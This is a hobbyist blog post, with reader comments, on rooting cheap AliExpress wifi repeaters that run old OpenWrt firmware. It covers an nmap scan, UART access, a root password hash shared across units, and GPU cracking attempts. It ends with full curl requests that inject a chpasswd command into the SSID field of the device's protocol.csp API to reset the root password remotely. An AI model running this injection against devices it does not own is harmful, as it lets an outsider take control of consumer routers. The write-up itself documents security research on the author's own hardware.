After bricking the last wifi repeater in my last post, I was determined not do that again. At least not intentionally.
This time around, I purchased the same model as before (U13) as well as three more units of a different model, for $10 and $7 CAD respectively. The goal here is to get root access via SSH/telnet and use these devices as general purpose Linux single board computers. With an ethernet port, built in power supply and wifi, these boards are great for single-purpose servers.
New hardware
These models kept popping up in recommended items in the Aliexpress app, so I thought I would check it out. Just like the previous model, there's no technical information about these devices or who makes them. All we know is that there's an ethernet port, it has 2.4Ghz wifi...and that there's a WPS button. Some listings display the brand as iMice but nothing turns up on Google.
Searching around YouTube, I was able to find branded devices using the same hardware:
- MECO WIFI Wireless Signal Amplifier
- Accmor 300Mbps 802.11 n Wireless WiFi Repeater
- AMAKE Wifi Repeater 300M Range Extender
- NoyoKere Wifi Repeater 300Mbps Range Expander
- Seaidea 300Mbps Wireless-N Mini Wifi Repeater
- iMeshbean® Wifi Repeater 300M Range Extender
- NINISEI Wifi Router/Repeater
- F&M Wireless-N 300Mbps 2.4G Wifi Repeater
- PIX-LINK WR03 Wireless WiFi Repeater
- Wi-Fi Repeater XY-300MZJ1
- This one I was able to find an FCC listing under 2BD24XY-300MZJ1 see: https://fccid.io/2BD24XY-300MZJ1
- This one I was able to find an FCC listing under 2BD24XY-300MZJ1 see: https://fccid.io/2BD24XY-300MZJ1
One funny misspelling is the username "admim" on the sticker:
The 4 LED model seems to differ from the 7 LED model, and on the latter model listing the seller displays the chipset as RTL8196E with 16MB flash and 128MB RAM.
Software
Plugging the device into the wall, and going to the printed address (192.168.11.1) we get a very familiar web admin UI. This time, the manufacturer decided to use orange instead of blue.
How very...convenient. I tried the previous exploits I did before in part 1 with no success. Running a port scan with nmap displays that this time around there is no SSH but at least we have telnet:
nmap -sV -O 192.168.11.1
Starting Nmap 7.95 ( https://nmap.org ) at 2024-08-07 23:19 PDT
Nmap scan report for 192.168.11.1
Host is up (0.0029s latency).
Not shown: 996 closed tcp ports (reset)
PORT STATE SERVICE VERSION
23/tcp open telnet BusyBox telnetd
53/tcp open domain Unbound
80/tcp open http lighttpd 1.4.32
81/tcp open hosts2-ns?
MAC Address: 00:16:78:22:AA:59 (Shenzhen Baoan Gaoke Electronics)
Device type: WAP
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3.18 cpe:/o:linux:linux_kernel:4.1
OS details: OpenWrt Chaos Calmer 15.05 (Linux 3.18) or Designated Driver (Linux 4.1 or 4.4)
Network Distance: 1 hop
Service Info: Host: Srepeater
So we know that the device is running the same version of lighttpd, OpenWRT and has a proxy running port 81 (which I've learned handles all requests to protocols.csp
)
Poking around
The web UI is even more basic than the previous device and lacking certain features, like rebooting the device, changing the router IP, rebooting the device and even upgrading the firmware.
The web interfaces uses the same router.js
to handle all device setting requests and behaves the same way. One of the binaries present in the previous device's firmware was commuos
which starts on boot and has no help or configuration options. Somehow, and I don't recall how I got this list, I discovered all available options ('opt')
login main mininfo rtime_info host_list wan_conf lan_conf wifi_ap wifi_ap 5gwifi_level guest_ap
login_account setting up_ready upload_status local_firmup workmode wzd_conf
lang ddnsv4_conf ddnsv6_conf ntp_conf time_conf portforward_list portforward_conf
dmz_conf webrm_confd portfilter_listd portfilter_conf sipfilter_list sipfilter_conf
smacfilter_list smacfilter_conf urlfilter_list urlfilter_conf cvpnclient_conf g4_conf
ap_list wisp_conf cgi_protocol_handler
Whether we can 'set' these values are a different matter. If we can find the device model (without cracking open the case) maybe we can find a bit more info on these devices.
curl 'http://192.168.11.1/protocol.csp?fname=system&opt=main&function=get&math=0.123456789'
Output:
{
"opt": "main",
"fname": "system",
"function": "get",
"isconfig": 1,
"workmode": 3,
"is5g": 0,
"wisp": 1,
"lanip": "192.168.11.1",
"wanmode": 1,
"wanphy_link": 0,
"link_status": 0,
"wanip": "0.0.0.0",
"ssid": "home-guest-2.4G-ext4",
"apclissid": "home-guest",
"apclichannel": 4,
"channel": 4,
"security": 1,
"wifipasswd": "homehome",
"fmversion": "AR9341-new-4MB-v10-lcj-en-p2",
"hardversion": "AR9341-V1.0",
"buildtime": "Feb 12 2024 09:00:12",
"uptime": "4 min, 21 sec",
"wanmac": "00:16:78:22:AA:59",
"wanphymac": "00:16:78:22:AA:59",
"lanmac": "00:16:78:22:AA:59",
"lanphymac": "00:16:78:22:AA:59",
"bssid": "00:16:78:22:AA:58",
"wlanphymac": "00:16:78:22:AA:58",
"wanmodestr": "dhcp",
"error": 0
}
CPU and memory info:
curl 'http://192.168.11.1/protocol.csp?fname=system&opt=rtime_info&function=get&math=0.123456789'
{
"opt": "rtime_info",
"fname": "system",
"function": "get",
"udpconnect": 7,
"tcpconnect": 51,
"downloaddata": "0B",
"uploaddata": "0B",
"totalmem": "64",
"freemem": "37.93",
"usemem": "26.07",
"memusage": 40,
"cpuusage": 3,
"error": 0
}
Now we know the hardware, an Atheros 9341 SoC, what firmware version it's running, flash amount (4MB) and RAM amount (64MB). Searching all over the internet with anything related to this device and software versions got me absolutely no where. We can look up the MAC address to get the manufacturer: "SHENZHEN BAOAN GAOKE ELECTRONICS CO., LTD
". It's curious that it's such a recent build (Feb 2024) but still using an ancient version of OpenWRT.
UART
Knowing how easy it is to attach a serial console to the device, I proceeded to open the plastic case by squeezing the sides and simply pulling.
On the top right of the board, we have our UART header. The board, as expected, is an Atheros 9341 SOC and a Micron D9LPX, which is probably our flash storage. The board is stamped with SZ-JC
, which I would assume is the model number of sorts. This time around, our UART header has 4 pins instead of three. There are four antennas located on either side of the board.
With the ethernet port on the bottom, left to right we have: GND, RX, TX and 3v3
At a baudrate of 115200, I was able to interrupt the boot process, login and change the root password.
telnet 192.168.11.1
Trying 192.168.11.1...
Connected to 192.168.11.1.
Escape character is '^]'.
Srepeater login: root
Password:
BusyBox v1.25.1 () built-in shell (ash)
_________
/ /\ _ ___ ___ ___
/ LE / \ | | | __| \| __|
/ DE / \ | |__| _|| |) | _|
/________/ LE \ |____|___|___/|___| lede-project.org
\ \ DE /
\ LE \ / -----------------------------------------------------------
\ DE \ / Reboot (17.01-SNAPSHOT, r0-ea7890a)
\________\/ -----------------------------------------------------------
root@Srepeater:~# cat /proc/cpuinfo
system type : Atheros AR9341 rev 1
machine : YunCore CPE870
processor : 0
cpu model : MIPS 74Kc V4.12
BogoMIPS : 266.64
wait instruction : yes
microsecond timers : yes
tlb_entries : 32
extra interrupt vector : yes
hardware watchpoint : yes, count: 4, address/irw mask: [0x0ffc, 0x0ffc, 0x0ffb, 0x0ffb]
isa : mips1 mips2 mips32r1 mips32r2
ASEs implemented : mips16 dsp dsp2
shadow register sets : 1
kscratch registers : 0
package : 0
core : 0
VCED exceptions : not available
VCEI exceptions : not available
root@Srepeater:/tmp# df -h
Filesystem Size Used Available Use% Mounted on
/dev/root 2.3M 2.3M 0 100% /rom
tmpfs 29.5M 180.0K 29.3M 1% /tmp
/dev/mtdblock4 320.0K 264.0K 56.0K 83% /overlay
overlayfs:/overlay 320.0K 264.0K 56.0K 83% /
tmpfs
root@Srepeater:/etc# cat mtab
/dev/root /rom squashfs ro,relatime 0 0
proc /proc proc rw,nosuid,nodev,noexec,noatime 0 0
sysfs /sys sysfs rw,nosuid,nodev,noexec,noatime 0 0
tmpfs /tmp tmpfs rw,nosuid,nodev,noatime 0 0
/dev/mtdblock4 /overlay jffs2 rw,noatime 0 0
overlayfs:/overlay / overlay rw,noatime,lowerdir=/,upperdir=/overlay/upper,workdir=/overlay/work 0 0
tmpfs /dev tmpfs rw,nosuid,relatime,size=512k,mode=755 0 0
devpts /dev/pts devpts rw,nosuid,noexec,relatime,mode=600 0 0
debugfs /sys/kernel/debug debugfs rw,noatime 0 0
root@Srepeater:/tmp# cat /proc/mtd
dev: size erasesize name
mtd0: 00010000 00010000 "u-boot"
mtd1: 003e0000 00010000 "firmware"
mtd2: 00150000 00010000 "kernel"
mtd3: 00290000 00010000 "rootfs"
mtd4: 00050000 00010000 "rootfs_data"
mtd5: 00010000 00010000 "art"
root@Srepeater:~# cat /etc/board.json
{
"model": {
"id": "cpe870",
"name": "YunCore CPE870"
},
"led": {
"lan": {
"name": "LAN",
"type": "netdev",
"sysfs": "cpe870:green:wan",
"device": "eth0",
"mode": "link tx rx"
},
"wan": {
"name": "WAN",
"type": "netdev",
"sysfs": "cpe870:green:lan",
"device": "eth1",
"mode": "link tx rx"
Finally we have something that resembles a searchable model number! The OpenWRT wiki has a page up on this device thankfully. Knowing that I bricked the last wifi repeater by saying YOLO and flashing new off the shelf firmware, I vowed to not do that..again.
The file system layout is nearly identical as before, and same for the running processes:
root@Srepeater:~# ps w
PID USER VSZ STAT COMMAND
1 root 1528 S /sbin/procd
2 root 0 SW [kthreadd]
3 root 0 SW [ksoftirqd/0]
5 root 0 SW< [kworker/0:0H]
30 root 0 SW< [writeback]
67 root 0 SW< [crypto]
68 root 0 SW< [bioset]
70 root 0 SW< [kblockd]
94 root 0 SW [kworker/0:1]
101 root 0 SW [kswapd0]
150 root 0 SW [fsnotify_mark]
159 root 0 SW [spi0]
176 root 0 SW< [bioset]
181 root 0 SW< [bioset]
186 root 0 SW< [bioset]
191 root 0 SW< [bioset]
196 root 0 SW< [bioset]
201 root 0 SW< [bioset]
246 root 0 SW [kworker/u2:2]
279 root 0 SW< [ipv6_addrconf]
285 root 0 SW< [deferwq]
287 root 0 SW< [kworker/0:1H]
302 root 0 SW [kworker/0:2]
334 root 0 SWN [jffs2_gcd_mtd4]
378 root 1192 S /sbin/ubusd
379 root 892 S /sbin/askfirst /usr/libexec/login.sh
444 root 0 SW< [cfg80211]
550 root 1224 S /sbin/logd -S 64
600 root 1700 S /sbin/netifd
621 root 2004 S /usr/sbin/commuos
638 root 1200 S /usr/sbin/telnetd -F -l /bin/login.sh
651 root 1636 S /usr/sbin/ledcontrol
653 root 1516 S /usr/sbin/masterCtrl
683 root 1636 S bfbutton
691 root 2816 S /usr/sbin/lighttpd -f /etc/lighttpd/lighttpd_mkwros_tz.conf
816 root 1196 S < /usr/sbin/ntpd -n -N -S /usr/sbin/ntpd-hotplug -p time.windows.com
962 dnsmasq 1052 S /usr/sbin/dnsmasq -C /var/etc/dnsmasq.conf.cfg02411c -k -x /var/run/dnsmasq/dnsmasq.cfg02411c.pid
969 root 1668 S /usr/sbin/hostapd -s -P /var/run/wifi-phy0.pid -B /var/run/hostapd-phy0.conf
987 root 1600 S /usr/sbin/wpa_supplicant -B -P /var/run/wpa_supplicant-wlan0.pid -D nl80211 -i wlan0 -c /var/run/wpa_supp
1007 root 1192 S udhcpc -p /var/run/udhcpc-wlan0.pid -s /lib/netifd/dhcp.script -f -t 0 -i wlan0 -C -O 121
5112 root 0 SW [kworker/u2:1]
6160 root 1196 S -ash
6178 root 0 SW [kworker/u2:0]
6726 root 1192 R ps w
This device only has 4MB flash so we won't have LuCI here. I changed the root password, which updates the /etc/shadow
file but we still have /etc/shadow-
, the overlay copy.
root@Srepeater:~# cat /etc/shadow-
root:$1$fY5eQ7UX$4D7jLlifNH.ArCNBBy3vE1:17521:0:99999:7:::
daemon:*:0:0:99999:7:::
ftp:*:0:0:99999:7:::
network:*:0:0:99999:7:::
nobody:*:0:0:99999:7:::
dnsmasq:x:0:0:99999:7:::
root@Srepeater:~#
....and it's the same hash as the previous device! Same OpenWRT version, services and now the same password hash. So all these devices being sold, while different hardware, have the same root password. I can only assume these are white labeled devices using bargain bin SoCs. If we can simply get the root password, we won't have to resort to physically opening the device and we can just telnet/SSH in. Easy peasy.
Down the rabbit hole
The obvious next step here is to search known hashes for the root password hash and see if it's something common. No luck here. The next obviously logical step is to rent some GPUs and bruteforce crack the password right? I'll save some time writing here and say that this got me no where. I rented some hourly GPUs, spent a few dollars and cents and got no further than before. I used hashcat, along with the Crackstation wordlists, and OneRuletoRuleThemAll. The rockyou.txt
wordlist ran quickly enough on my MacBook Pro (M2 Max, 64GB RAM, 12 core, 38 core GPU), but the 15GB Crackstation wordlist would take a day and a half. As impatient as I am, I rented a 1/2 NVIDIA A100 which was decently fast, but I then discovered vast.ai and was able to rent 4x RTX 4090 for nearly the same price but twice the hashing speed. Hashcat returned 'exhausted' and so was I.
Since I found the FCC listing for the device (see https://fccid.io/2A2F4-U13) I thought I'd reach out to the manufacturer for shits and giggles. They told me to go kick rocks. Well, it was worth a try anyway.
In part 1, I discovered there was an XSS vulnerability in the admin web UI but what I didn't venture down too deep was any lighttpd or OpenWRT CVEs. We're looking for a reported CVE that would allow remote code execution and the only prerequisite is knowing which software version we're targeting and that we can join the wifi network.
I stumbled upon Security Advisory 2019-11-05-1 - LuCI stored XSS. This vulnerability allows an attacker to execute XSS by creating an access point with a specially crafted SSID, of which the victim device can join and execute the code in the SSID (sorta funny).
Now, we're looking for remote code execution here but maybe we can try the same path?
Since I already changed the root password on this new device, I went back to the now new "U13" wifi repeater I also purchased as a replacement for the bricked one. This hasn't been setup yet and has the same underlying firmware build so it's a good, clean test environment.
Remote code execution: success
I feel almost silly I didn't catch this before when I was testing for command injection vectors. I was trying simple injections like echoing files, but no dice.
--data-raw 'fname=net&opt=wisp_conf&function=set&ssid=home-guest&channel=4&security=WPA2PSK&enc=AES&key=homehome&bssid=A0:36:BC:1C:29:91&extap2g=$(cat /etc/passwd)'
We can connect the wifi repeater to our existing wifi network and optionally set a new SSID for it to broadcast. Knowing that it will save that value to /etc/config/wireless, the admin web UI will most likely sanitize the input. But not if we send it as a curl request.
curl 'http://192.168.11.1/protocol.csp?' --compressed -X POST -H 'Accept: application/json, text/javascript, */*; q=0.01' -H 'Accept-Language: en-CA,en-US;q=0.7,en;q=0.3' -H 'Accept-Encoding: gzip, deflate' -H 'Referer: http://192.168.11.1/home.html' -H 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' -H 'X-Requested-With: XMLHttpRequest' -H 'Origin: http://192.168.11.1' -H 'Connection: keep-alive' -H 'Priority: u=0' -H 'Pragma: no-cache' -H 'Cache-Control: no-cache' --data-raw 'fname=net&opt=wisp_conf&function=set&ssid=home-guest&channel=6&security=WPA2PSK&enc=AES&key=homehomehome&bssid=A0:36:BC:1C:29:91&extap2g=Net;$(echo newpassword101 | passwd root)&extap2gkey=homehome&hssid=0&enablebridge=0'
Still wasn't able to telnet with the new root password, but returning to the admin web UI, we can see that it executed the command!
Reworking our payload and using chpasswd
, since we have to type and reconfirm our new password, we're able to set a new root password:
curl 'http://192.168.11.1/protocol.csp?' --compressed -X POST -H 'Accept: application/json, text/javascript, */*; q=0.01' -H 'Accept-Language: en-CA,en-US;q=0.7,en;q=0.3' -H 'Accept-Encoding: gzip, deflate' -H 'Referer: http://192.168.11.1/home.html' -H 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' -H 'X-Requested-With: XMLHttpRequest' -H 'Origin: http://192.168.11.1' -H 'Connection: keep-alive' -H 'Priority: u=0' -H 'Pragma: no-cache' -H 'Cache-Control: no-cache' --data-raw 'fname=net&opt=wisp_conf&function=set&ssid=home-guest&channel=6&security=WPA2PSK&enc=AES&key=homehome&bssid=A0:36:BC:1C:29:91&extap2g=Net;$(echo "root:newpassword101" | chpasswd)&extap2gkey=homehome&hssid=0&enablebridge=0'
The remote code execution comes from setting the wifi repeaters SSID and injecting our command:
&extap2g=Net;$(echo "root:newpassword101" | chpasswd)
After a quick reboot, we get no error.
What now?
So now we have an easy way to get SSH/telnet right off the bat, we can do whatever we want with these cheap Linux boxes. With a limited amount of flash storage that is taken up by the OS image, it doesn't leave us with much space unless we want to use RAM for storage.
root@Srepeater:~# df -h
Filesystem Size Used Available Use% Mounted on
/dev/root 2.3M 2.3M 0 100% /rom
tmpfs 29.5M 92.0K 29.4M 0% /tmp
/dev/mtdblock4 320.0K 252.0K 68.0K 79% /overlay
overlayfs:/overlay 320.0K 252.0K 68.0K 79% /
tmpfs 512.0K 0 512.0K 0% /dev
Technically these devices have one GPIO that is used for the WPS button, which I suppose, could be used for any other purpose.
One of things that is now possible is making these true wifi repeaters and utilizing 802.11r in OpenWRT, versus having separate SSIDs. It's also funny how this functionality is baked in but the manufacturer simply...created their own dashboard and API to interact with OpenWRT running underneath.
Secondly, we can install packages with opkg and run anything made available. An easy use for these wifi repeaters is a simple ad blocking hotspot, similar to AdGaurd and Pi Hole. The lede-project.org URLs are no longer functional, so updating /etc/opkg/distfeeds.conf
is a must:
src/gz reboot_core https://archive.openwrt.org/releases/17.01.0/targets/ar71xx/generic/packages
src/gz reboot_base https://archive.openwrt.org/releases/17.01.0/packages/mips_24kc/base
src/gz reboot_luci https://archive.openwrt.org/releases/17.01.0/packages/mips_24kc/luci
src/gz reboot_packages https://archive.openwrt.org/releases/17.01.0/packages/mips_24kc/packages
src/gz reboot_routing https://archive.openwrt.org/releases/17.01.0/packages/mips_24kc/routing
src/gz reboot_telephony https://archive.openwrt.org/releases/17.01.0/packages/mips_24kc/telephony
Install the appropriate SSL packages and you're on your way!
This was a fun project work on, and it's even more fun discovering how things work. Thanks for reading!
EDIT: Attached are the dumps of the MTD blocks from the repeater and rootfs backup (/rom, /overlay and /etc) to download
root@Srepeater:/# cat /proc/mtd
dev: size erasesize name
mtd0: 00010000 00010000 "u-boot"
mtd1: 003e0000 00010000 "firmware"
mtd2: 00150000 00010000 "kernel"
mtd3: 00290000 00010000 "rootfs"
mtd4: 00050000 00010000 "rootfs_data"
mtd5: 00010000 00010000 "art"
mtdblock dump: https://geekness.eu/sites/default/files/mtdblock_dump-szjc.tar.gz
rootfs dump: https://geekness.eu/sites/default/files/fs_dump-szjc.tar.gz
Attachment | Size |
---|---|
mtdblock_dump-szjc.tar.gz | 7.06 MB |
fs_dump-szjc.tar.gz | 3.08 MB |
Great writeup!
I too did some research on this device a while ago (the are only $4 now including shipping!), and created a device tree for it so the latest openwrt runs on it smoothly. I flash that using the uboot that's already on the repeater via the UART, and from then on you have full control and up to date apps. And SPI can be used by piggybacking on the flash chip and abusing an LED (or the WPS button) as chip select.
A little documention of all this and openwrt images is on hackaday: https://hackaday.io/project/192859-fun-with-wifi-repeaters
with the openwrt image sources on git: https://github.com/biemster/funpeater-openwrt
Great work!
I did a little poking around, and the opkg metadata responsible for this mystery "commuos" daemon (from part 1) suggests it's probably innocuous:
Package: commuos
Version: 1
Depends: libc, mkrosnvram, nm2uci, rosPlatformCommon, zlib, roscommon
Source: package/mkwros/commuos
Section: MKWROS
Maintainer: MKTECH
Architecture: mips_24kc
Installed-Size: 33589
Description: mkwros informaton daemon
Maybe someone will slap it (and some of it's library dependencies) in Ghidra or something and see what sort of business it gets up to.
I actually did do an analysis in Ghidra on it and the other libs that came with it. There's some standard OpenWrt libs, but commuos receives commands for protocol.csp on port 81. In /etc/lighttpd/proxy.conf
is the config:
$HTTP["url"] =~ "protocol.csp"{
proxy.server = ( "/" =>
( "vsupload" =>
(
"host" => "127.0.0.1",
"port" => 81
)
)
)
}
$HTTP["url"] =~ "system.csp"{
proxy.server = ( "/" =>
( "vsupload" =>
(
"host" => "127.0.0.1",
"port" => 81
)
)
)
}
Nothing suspicious, but good thought! I'll write up a post on what I found as well. commuos starts on boot, with no output from the program itself. There's some some little utilities written to change the LED lights based on internet connectivity, as well as another masterCtrl program that has no output. I haven't used OpenWrt extensively, so I'm unsure where OpenWrt ends and this device's custom firmware starts. Thanks again!
Great writeup! I too did…